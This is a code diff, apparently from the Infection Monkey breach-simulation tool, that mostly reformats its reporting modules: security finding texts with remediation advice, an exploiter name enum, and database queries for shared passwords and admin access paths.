issue["machine"], issue["ip_address"], issue["port"], issue["paths"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=10, + title="Machines are vulnerable to 'Shellshock'", + description="Update your Bash to a ShellShock-patched version.", + recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. " + "The attack was made possible because the HTTP server running on " + "TCP port {2} was vulnerable to a " + "shell injection attack on the paths: {3}.".format( + issue["machine"], issue["ip_address"], issue["port"], issue["paths"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_smb_password_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " - "network.".format(issue["username"]), - recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB " - "protocol with user {2} and its password.".format( - issue["machine"], issue["ip_address"], issue["username"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=1, + title="Machines are accessible using passwords supplied by the user during the " + "Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not " + "shared with other computers on the " + "network.".format(issue["username"]), + recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey " + "authenticated over the SMB " + "protocol with user {2} and its password.".format( + issue["machine"], issue["ip_address"], issue["username"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_wmi_password_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " - "network.", - recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over " - "the WMI protocol with user {username} and its password.".format( - machine=issue["machine"], ip_address=issue["ip_address"], username=issue["username"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=1, + title="Machines are accessible using passwords supplied by the user during the " + "Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not " + "shared with other computers on the " + "network.", + recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI " + "attack. The Monkey authenticated over " + "the WMI protocol with user {username} and its password.".format( + machine=issue["machine"], ip_address=issue["ip_address"], + username=issue["username"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_wmi_pth_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " - "network.".format(issue["username"]), - recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI attack. The Monkey used a " - "pass-the-hash attack over WMI protocol with user {username}".format( - machine=issue["machine"], ip_address=issue["ip_address"], username=issue["username"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=1, + title="Machines are accessible using passwords supplied by the user during the " + "Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not " + "shared with other computers on the " + "network.".format(issue["username"]), + recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI " + "attack. The Monkey used a " + "pass-the-hash attack over WMI protocol with user {username}".format( + machine=issue["machine"], ip_address=issue["ip_address"], + username=issue["username"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_shared_passwords_domain_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Multiple users have the same password.", - description="Some domain users are sharing passwords, this should be fixed by changing passwords.", - recommendation="These users are sharing access password: {shared_with}.".format( - shared_with=issue["shared_with"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=1, + title="Multiple users have the same password.", + description="Some domain users are sharing passwords, this should be fixed by " + "changing passwords.", + recommendation="These users are sharing access password: {shared_with}.".format( + shared_with=issue["shared_with"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_shared_admins_domain_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Shared local administrator account - Different machines have the same account as a local administrator.", - description="Make sure the right administrator accounts are managing the right machines, and that there isn't " - "an unintentional local admin sharing.", - recommendation="Here is a list of machines which the account {username} is defined as an administrator: " - "{shared_machines}".format( - username=issue["username"], shared_machines=issue["shared_machines"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=1, + title="Shared local administrator account - Different machines have the same " + "account as a local administrator.", + description="Make sure the right administrator accounts are managing the right " + "machines, and that there isn't " + "an unintentional local admin sharing.", + recommendation="Here is a list of machines which the account {username} is " + "defined as an administrator: " + "{shared_machines}".format( + username=issue["username"], shared_machines=issue["shared_machines"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_strong_users_on_crit_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=1, - title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.", - description="This critical machine is open to attacks via strong users with access to it.", - recommendation="The services: {services} have been found on the machine thus classifying it as a critical " - "machine. These users has access to it:{threatening_users}.".format( - services=issue["services"], threatening_users=issue["threatening_users"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=1, + title="Mimikatz found login credentials of a user who has admin access to a " + "server defined as critical.", + description="This critical machine is open to attacks via strong users with " + "access to it.", + recommendation="The services: {services} have been found on the machine thus " + "classifying it as a critical " + "machine. These users has access to it:{threatening_users}.".format( + services=issue["services"], threatening_users=issue["threatening_users"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_struts2_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=10, - title="Struts2 servers are vulnerable to remote code execution.", - description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", - recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - "The attack was made possible because the server is using an old version of Jakarta based file " - "upload Multipart parser.".format( - machine=issue["machine"], ip_address=issue["ip_address"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=10, + title="Struts2 servers are vulnerable to remote code execution.", + description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", + recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to " + "remote code execution attack." + "The attack was made possible because the server is using an old " + "version of Jakarta based file " + "upload Multipart parser.".format( + machine=issue["machine"], ip_address=issue["ip_address"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_weblogic_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=10, - title="Oracle WebLogic servers are vulnerable to remote code execution.", - description="Install Oracle critical patch updates. Or update to the latest version. " - "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", - recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - "The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware " - "(subcomponent: WLS Security).".format( - machine=issue["machine"], ip_address=issue["ip_address"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=10, + title="Oracle WebLogic servers are vulnerable to remote code execution.", + description="Install Oracle critical patch updates. Or update to the latest " + "version. " + "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and " + "12.2.1.2.0.", + recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable " + "to remote code execution attack." + "The attack was made possible due to incorrect permission " + "assignment in Oracle Fusion Middleware " + "(subcomponent: WLS Security).".format( + machine=issue["machine"], ip_address=issue["ip_address"] + ), + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod def _handle_hadoop_issue(issue, instance_arn): return AWSExporter._build_generic_finding( - severity=10, - title="Hadoop/Yarn servers are vulnerable to remote code execution.", - description="Run Hadoop in secure mode, add Kerberos authentication.", - recommendation="The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - "The attack was made possible due to default Hadoop/Yarn configuration being insecure.", - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, + severity=10, + title="Hadoop/Yarn servers are vulnerable to remote code execution.", + description="Run Hadoop in secure mode, add Kerberos authentication.", + recommendation="The Hadoop server at {machine} ({ip_address}) is vulnerable to " + "remote code execution attack." + "The attack was made possible due to default Hadoop/Yarn " + "configuration being insecure.", + instance_arn=instance_arn, + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) diff --git a/monkey/monkey_island/cc/services/reporting/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py index c19f3d5e379..f984762aeb4 100644 --- a/monkey/monkey_island/cc/services/reporting/exporter_init.py +++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py @@ -13,9 +13,9 @@ def populate_exporter_list(): if len(manager.get_exporters_list()) != 0: logger.debug( - "Populated exporters list with the following exporters: {0}".format( - str(manager.get_exporters_list()) - ) + "Populated exporters list with the following exporters: {0}".format( + str(manager.get_exporters_list()) + ) ) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index e60886b34a0..988beeec3e2 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -2,16 +2,20 @@ from enum import Enum from typing import Type -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors\ + .cred_exploit import ( CredExploitProcessor, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit \ + import ( ExploitProcessor, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors\ + .shellshock_exploit import ( ShellShockExploitProcessor, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.zerologon import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.zerologon\ + import ( ZerologonExploitProcessor, ) @@ -30,24 +34,24 @@ class ExploiterDescriptorEnum(Enum): SSH = ExploiterDescriptor("SSHExploiter", "SSH Exploiter", CredExploitProcessor) SAMBACRY = ExploiterDescriptor("SambaCryExploiter", "SambaCry Exploiter", CredExploitProcessor) ELASTIC = ExploiterDescriptor( - "ElasticGroovyExploiter", "Elastic Groovy Exploiter", ExploitProcessor + "ElasticGroovyExploiter", "Elastic Groovy Exploiter", ExploitProcessor ) MS08_067 = ExploiterDescriptor("Ms08_067_Exploiter", "Conficker Exploiter", ExploitProcessor) SHELLSHOCK = ExploiterDescriptor( - "ShellShockExploiter", "ShellShock Exploiter", ShellShockExploitProcessor + "ShellShockExploiter", "ShellShock Exploiter", ShellShockExploitProcessor ) STRUTS2 = ExploiterDescriptor("Struts2Exploiter", "Struts2 Exploiter", ExploitProcessor) WEBLOGIC = ExploiterDescriptor( - "WebLogicExploiter", "Oracle WebLogic Exploiter", ExploitProcessor + "WebLogicExploiter", "Oracle WebLogic Exploiter", ExploitProcessor ) HADOOP = ExploiterDescriptor("HadoopExploiter", "Hadoop/Yarn Exploiter", ExploitProcessor) MSSQL = ExploiterDescriptor("MSSQLExploiter", "MSSQL Exploiter", ExploitProcessor) VSFTPD = ExploiterDescriptor( - "VSFTPDExploiter", "VSFTPD Backdoor Exploiter", CredExploitProcessor + "VSFTPDExploiter", "VSFTPD Backdoor Exploiter", CredExploitProcessor ) DRUPAL = ExploiterDescriptor("DrupalExploiter", "Drupal Server Exploiter", ExploitProcessor) ZEROLOGON = ExploiterDescriptor( - "ZerologonExploiter", "Zerologon Exploiter", ZerologonExploitProcessor + "ZerologonExploiter", "Zerologon Exploiter", ZerologonExploitProcessor ) @staticmethod diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py index 842fe9eb2eb..5a85a8a7bc1 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py @@ -1,8 +1,10 @@ -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing\ + .exploiter_report_info import ( CredentialType, ExploiterReportInfo, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit \ + import ( ExploitProcessor, ) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py index 1b29fc773c8..9ced6d3ea32 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py @@ -1,5 +1,6 @@ from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing\ + .exploiter_report_info import ( ExploiterReportInfo, ) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py index cd627eb5caf..cf2859fb49c 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py @@ -1,4 +1,5 @@ -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit \ + import ( ExploiterReportInfo, ExploitProcessor, ) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py index d9c9d7d495c..e3b370bf458 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py @@ -1,4 +1,5 @@ -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit \ + import ( ExploiterReportInfo, ExploitProcessor, ) diff --git a/monkey/monkey_island/cc/services/reporting/pth_report.py b/monkey/monkey_island/cc/services/reporting/pth_report.py index 99c5a746750..ab18ffd216a 100644 --- a/monkey/monkey_island/cc/services/reporting/pth_report.py +++ b/monkey/monkey_island/cc/services/reporting/pth_report.py @@ -19,7 +19,8 @@ class PTHReportService(object): @staticmethod def __dup_passwords_mongoquery(): """ - This function builds and queries the mongoDB for users that are using the same passwords. this is done + This function builds and queries the mongoDB for users that are using the same + passwords. this is done by comparing the NTLM hash found for each user by mimikatz. :return: A list of mongo documents (dicts in python) that look like this: @@ -31,59 +32,62 @@ def __dup_passwords_mongoquery(): """ pipeline = [ - {"$match": {"NTLM_secret": {"$exists": "true", "$ne": None}}}, + {"$match":{"NTLM_secret":{"$exists":"true", "$ne":None}}}, { - "$group": { - "_id": {"NTLM_secret": "$NTLM_secret"}, - "count": {"$sum": 1}, - "Docs": { - "$push": { - "_id": "$_id", - "name": "$name", - "domain_name": "$domain_name", - "machine_id": "$machine_id", + "$group":{ + "_id":{"NTLM_secret":"$NTLM_secret"}, + "count":{"$sum":1}, + "Docs":{ + "$push":{ + "_id":"$_id", + "name":"$name", + "domain_name":"$domain_name", + "machine_id":"$machine_id", } }, } }, - {"$match": {"count": {"$gt": 1}}}, + {"$match":{"count":{"$gt":1}}}, ] return mongo.db.groupsandusers.aggregate(pipeline) @staticmethod def __get_admin_on_machines_format(admin_on_machines, domain_name): """ - This function finds for each admin user, which machines its an admin of, and compile them to a list. + This function finds for each admin user, which machines its an admin of, and compile them + to a list. :param admin_on_machines: A list of "monkey" documents "_id"s :param domain_name: The admins' domain name :return: A list of formatted machines names *domain*/*hostname*, to use in shared admins issues. """ - machines = mongo.db.monkey.find({"_id": {"$in": admin_on_machines}}, {"hostname": 1}) + machines = mongo.db.monkey.find({"_id":{"$in":admin_on_machines}}, {"hostname":1}) return [domain_name + "\\" + i["hostname"] for i in list(machines)] @staticmethod def __strong_users_on_crit_query(): """ - This function build and query the mongoDB for users that mimikatz was able to find cached NTLM hashes and - are administrators on machines with services predefined as important services thus making these machines + This function build and query the mongoDB for users that mimikatz was able to find + cached NTLM hashes and + are administrators on machines with services predefined as important services thus + making these machines critical. :return: A list of said users """ pipeline = [ - {"$unwind": "$admin_on_machines"}, - {"$match": {"type": USERTYPE, "domain_name": {"$ne": None}}}, + {"$unwind":"$admin_on_machines"}, + {"$match":{"type":USERTYPE, "domain_name":{"$ne":None}}}, { - "$lookup": { - "from": "monkey", - "localField": "admin_on_machines", - "foreignField": "_id", - "as": "critical_machine", + "$lookup":{ + "from":"monkey", + "localField":"admin_on_machines", + "foreignField":"_id", + "as":"critical_machine", } }, - {"$match": {"critical_machine.critical_services": {"$ne": []}}}, - {"$unwind": "$critical_machine"}, + {"$match":{"critical_machine.critical_services":{"$ne":[]}}}, + {"$unwind":"$critical_machine"}, ] return mongo.db.groupsandusers.aggregate(pipeline) @@ -102,15 +106,15 @@ def get_duplicated_passwords_nodes(): for doc in docs: users_list = [ { - "username": user["name"], - "domain_name": user["domain_name"], - "hostname": NodeService.get_hostname_by_id(ObjectId(user["machine_id"])) + "username":user["name"], + "domain_name":user["domain_name"], + "hostname":NodeService.get_hostname_by_id(ObjectId(user["machine_id"])) if user["machine_id"] else None, } for user in doc["Docs"] ] - users_cred_groups.append({"cred_groups": users_list}) + users_cred_groups.append({"cred_groups":users_list}) return users_cred_groups @@ -121,18 +125,18 @@ def get_duplicated_passwords_issues(): for group in user_groups: user_info = group["cred_groups"][0] issues.append( - { - "type": "shared_passwords_domain" - if user_info["domain_name"] - else "shared_passwords", - "machine": user_info["hostname"] - if user_info["hostname"] - else user_info["domain_name"], - "shared_with": [ - PTHReportService.__build_dup_user_label(i) for i in group["cred_groups"] - ], - "is_local": False if user_info["domain_name"] else True, - } + { + "type":"shared_passwords_domain" + if user_info["domain_name"] + else "shared_passwords", + "machine":user_info["hostname"] + if user_info["hostname"] + else user_info["domain_name"], + "shared_with":[ + PTHReportService.__build_dup_user_label(i) for i in group["cred_groups"] + ], + "is_local":False if user_info["domain_name"] else True, + } ) return issues @@ -140,23 +144,25 @@ def get_duplicated_passwords_issues(): def get_shared_admins_nodes(): # This mongo queries users the best solution to figure out if an array - # object has at least two objects in it, by making sure any value exists in the array index 1. - # Excluding the name Administrator - its spamming the lists and not a surprise the domain Administrator account + # object has at least two objects in it, by making sure any value exists in the array + # index 1. + # Excluding the name Administrator - its spamming the lists and not a surprise the domain + # Administrator account # is shared. admins = mongo.db.groupsandusers.find( - { - "type": USERTYPE, - "name": {"$ne": "Administrator"}, - "admin_on_machines.1": {"$exists": True}, - }, - {"admin_on_machines": 1, "name": 1, "domain_name": 1}, + { + "type":USERTYPE, + "name":{"$ne":"Administrator"}, + "admin_on_machines.1":{"$exists":True}, + }, + {"admin_on_machines":1, "name":1, "domain_name":1}, ) return [ { - "name": admin["name"], - "domain_name": admin["domain_name"], - "admin_on_machines": PTHReportService.__get_admin_on_machines_format( - admin["admin_on_machines"], admin["domain_name"] + "name":admin["name"], + "domain_name":admin["domain_name"], + "admin_on_machines":PTHReportService.__get_admin_on_machines_format( + admin["admin_on_machines"], admin["domain_name"] ), } for admin in admins @@ -167,11 +173,11 @@ def get_shared_admins_issues(): admins_info = PTHReportService.get_shared_admins_nodes() return [ { - "is_local": False, - "type": "shared_admins_domain", - "machine": admin["domain_name"], - "username": admin["domain_name"] + "\\" + admin["name"], - "shared_machines": admin["admin_on_machines"], + "is_local":False, + "type":"shared_admins_domain", + "machine":admin["domain_name"], + "username":admin["domain_name"] + "\\" + admin["name"], + "shared_machines":admin["admin_on_machines"], } for admin in admins_info ] @@ -186,14 +192,14 @@ def get_strong_users_on_critical_machines_nodes(): hostname = str(doc["critical_machine"]["hostname"]) if hostname not in crit_machines: crit_machines[hostname] = { - "threatening_users": [], - "critical_services": doc["critical_machine"]["critical_services"], + "threatening_users":[], + "critical_services":doc["critical_machine"]["critical_services"], } crit_machines[hostname]["threatening_users"].append( - { - "name": str(doc["domain_name"]) + "\\" + str(doc["name"]), - "creds_location": doc["secret_location"], - } + { + "name":str(doc["domain_name"]) + "\\" + str(doc["name"]), + "creds_location":doc["secret_location"], + } ) return crit_machines @@ -203,10 +209,10 @@ def get_strong_users_on_crit_issues(): return [ { - "type": "strong_users_on_crit", - "machine": machine, - "services": crit_machines[machine].get("critical_services"), - "threatening_users": [ + "type":"strong_users_on_crit", + "machine":machine, + "services":crit_machines[machine].get("critical_services"), + "threatening_users":[ i["name"] for i in crit_machines[machine]["threatening_users"] ], } @@ -221,15 +227,15 @@ def get_strong_users_on_crit_details(): for user in crit_machines[machine]["threatening_users"]: username = user["name"] if username not in user_details: - user_details[username] = {"machines": [], "services": []} + user_details[username] = {"machines":[], "services":[]} user_details[username]["machines"].append(machine) user_details[username]["services"] += crit_machines[machine]["critical_services"] return [ { - "username": user, - "machines": user_details[user]["machines"], - "services_names": user_details[user]["services"], + "username":user, + "machines":user_details[user]["machines"], + "services_names":user_details[user]["services"], } for user in user_details ] @@ -240,11 +246,11 @@ def generate_map_nodes(): return [ { - "id": monkey.guid, - "label": "{0} : {1}".format(monkey.hostname, monkey.ip_addresses[0]), - "group": "critical" if monkey.critical_services is not None else "normal", - "services": monkey.critical_services, - "hostname": monkey.hostname, + "id":monkey.guid, + "label":"{0} : {1}".format(monkey.hostname, monkey.ip_addresses[0]), + "group":"critical" if monkey.critical_services is not None else "normal", + "services":monkey.critical_services, + "hostname":monkey.hostname, } for monkey in monkeys ] @@ -254,8 +260,8 @@ def generate_edges(): edges_list = [] comp_users = mongo.db.groupsandusers.find( - {"admin_on_machines": {"$ne": []}, "secret_location": {"$ne": []}, "type": USERTYPE}, - {"admin_on_machines": 1, "secret_location": 1}, + {"admin_on_machines":{"$ne":[]}, "secret_location":{"$ne":[]}, "type":USERTYPE}, + {"admin_on_machines":1, "secret_location":1}, ) for user in comp_users: @@ -266,15 +272,15 @@ def generate_edges(): if pair[0] != pair[1] ]: edges_list.append( - {"from": pair[1], "to": pair[0], "id": str(pair[1]) + str(pair[0])} + {"from":pair[1], "to":pair[0], "id":str(pair[1]) + str(pair[0])} ) return edges_list @staticmethod def get_pth_map(): return { - "nodes": PTHReportService.generate_map_nodes(), - "edges": PTHReportService.generate_edges(), + "nodes":PTHReportService.generate_map_nodes(), + "edges":PTHReportService.generate_edges(), } @staticmethod @@ -282,10 +288,10 @@ def get_report(): pth_map = PTHReportService.get_pth_map() PTHReportService.get_strong_users_on_critical_machines_nodes() report = { - "report_info": { - "strong_users_table": PTHReportService.get_strong_users_on_crit_details() + "report_info":{ + "strong_users_table":PTHReportService.get_strong_users_on_crit_details() }, - "pthmap": {"nodes": pth_map.get("nodes"), "edges": pth_map.get("edges")}, + "pthmap":{"nodes":pth_map.get("nodes"), "edges":pth_map.get("edges")}, } return report diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 87a99a2add3..92075a00fdf 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -22,13 +22,16 @@ get_config_network_segments_as_subnet_groups, ) from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing\ + .exploiter_descriptor_enum import ( ExploiterDescriptorEnum, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors\ + .cred_exploit import ( CredentialType, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit \ + import ( ExploiterReportInfo, ) from monkey_island.cc.services.reporting.pth_report import PTHReportService @@ -52,17 +55,17 @@ class DerivedIssueEnum: @staticmethod def get_first_monkey_time(): return ( - mongo.db.telemetry.find({}, {"timestamp": 1}) - .sort([("$natural", 1)]) - .limit(1)[0]["timestamp"] + mongo.db.telemetry.find({}, {"timestamp":1}) + .sort([("$natural", 1)]) + .limit(1)[0]["timestamp"] ) @staticmethod def get_last_monkey_dead_time(): return ( - mongo.db.telemetry.find({}, {"timestamp": 1}) - .sort([("$natural", -1)]) - .limit(1)[0]["timestamp"] + mongo.db.telemetry.find({}, {"timestamp":1}) + .sort([("$natural", -1)]) + .limit(1)[0]["timestamp"] ) @staticmethod @@ -84,15 +87,15 @@ def get_monkey_duration(): def get_tunnels(): return [ { - "type": "tunnel", - "machine": NodeService.get_node_hostname( - NodeService.get_node_or_monkey_by_id(tunnel["_id"]) + "type":"tunnel", + "machine":NodeService.get_node_hostname( + NodeService.get_node_or_monkey_by_id(tunnel["_id"]) ), - "dest": NodeService.get_node_hostname( - NodeService.get_node_or_monkey_by_id(tunnel["tunnel"]) + "dest":NodeService.get_node_hostname( + NodeService.get_node_or_monkey_by_id(tunnel["tunnel"]) ), } - for tunnel in mongo.db.monkey.find({"tunnel": {"$exists": True}}, {"tunnel": 1}) + for tunnel in mongo.db.monkey.find({"tunnel":{"$exists":True}}, {"tunnel":1}) ] @staticmethod @@ -104,10 +107,11 @@ def get_azure_issues(): return [ { - "type": "azure_password", - "machine": machine, - "users": set( - [instance["username"] for instance in creds if instance["origin"] == machine] + "type":"azure_password", + "machine":machine, + "users":set( + [instance["username"] for instance in creds if + instance["origin"] == machine] ), } for machine in machines @@ -122,14 +126,14 @@ def get_scanned(): for node in nodes: nodes_that_can_access_current_node = node["accessible_from_nodes_hostnames"] formatted_nodes.append( - { - "label": node["label"], - "ip_addresses": node["ip_addresses"], - "accessible_from_nodes": nodes_that_can_access_current_node, - "services": node["services"], - "domain_name": node["domain_name"], - "pba_results": node["pba_results"] if "pba_results" in node else "None", - } + { + "label":node["label"], + "ip_addresses":node["ip_addresses"], + "accessible_from_nodes":nodes_that_can_access_current_node, + "services":node["services"], + "domain_name":node["domain_name"], + "pba_results":node["pba_results"] if "pba_results" in node else "None", + } ) logger.info("Scanned nodes generated for reporting") @@ -140,11 +144,11 @@ def get_scanned(): def get_all_displayed_nodes(): nodes_without_monkeys = [ NodeService.get_displayed_node_by_id(node["_id"], True) - for node in mongo.db.node.find({}, {"_id": 1}) + for node in mongo.db.node.find({}, {"_id":1}) ] nodes_with_monkeys = [ NodeService.get_displayed_node_by_id(monkey["_id"], True) - for monkey in mongo.db.monkey.find({}, {"_id": 1}) + for monkey in mongo.db.monkey.find({}, {"_id":1}) ] nodes = nodes_without_monkeys + nodes_with_monkeys return nodes @@ -153,23 +157,23 @@ def get_all_displayed_nodes(): def get_exploited(): exploited_with_monkeys = [ NodeService.get_displayed_node_by_id(monkey["_id"], True) - for monkey in mongo.db.monkey.find({}, {"_id": 1}) + for monkey in mongo.db.monkey.find({}, {"_id":1}) if not NodeService.get_monkey_manual_run(NodeService.get_monkey_by_id(monkey["_id"])) ] exploited_without_monkeys = [ NodeService.get_displayed_node_by_id(node["_id"], True) - for node in mongo.db.node.find({"exploited": True}, {"_id": 1}) + for node in mongo.db.node.find({"exploited":True}, {"_id":1}) ] exploited = exploited_with_monkeys + exploited_without_monkeys exploited = [ { - "label": exploited_node["label"], - "ip_addresses": exploited_node["ip_addresses"], - "domain_name": exploited_node["domain_name"], - "exploits": ReportService.get_exploits_used_on_node(exploited_node), + "label":exploited_node["label"], + "ip_addresses":exploited_node["ip_addresses"], + "domain_name":exploited_node["domain_name"], + "exploits":ReportService.get_exploits_used_on_node(exploited_node), } for exploited_node in exploited ] @@ -181,13 +185,14 @@ def get_exploited(): @staticmethod def get_exploits_used_on_node(node: dict) -> List[str]: return list( - set( - [ - ExploiterDescriptorEnum.get_by_class_name(exploit["exploiter"]).display_name - for exploit in node["exploits"] - if exploit["result"] - ] - ) + set( + [ + ExploiterDescriptorEnum.get_by_class_name( + exploit["exploiter"]).display_name + for exploit in node["exploits"] + if exploit["result"] + ] + ) ) @staticmethod @@ -207,8 +212,8 @@ def get_stolen_creds(): def _get_credentials_from_system_info_telems(): formatted_creds = [] for telem in mongo.db.telemetry.find( - {"telem_category": "system_info", "data.credentials": {"$exists": True}}, - {"data.credentials": 1, "monkey_guid": 1}, + {"telem_category":"system_info", 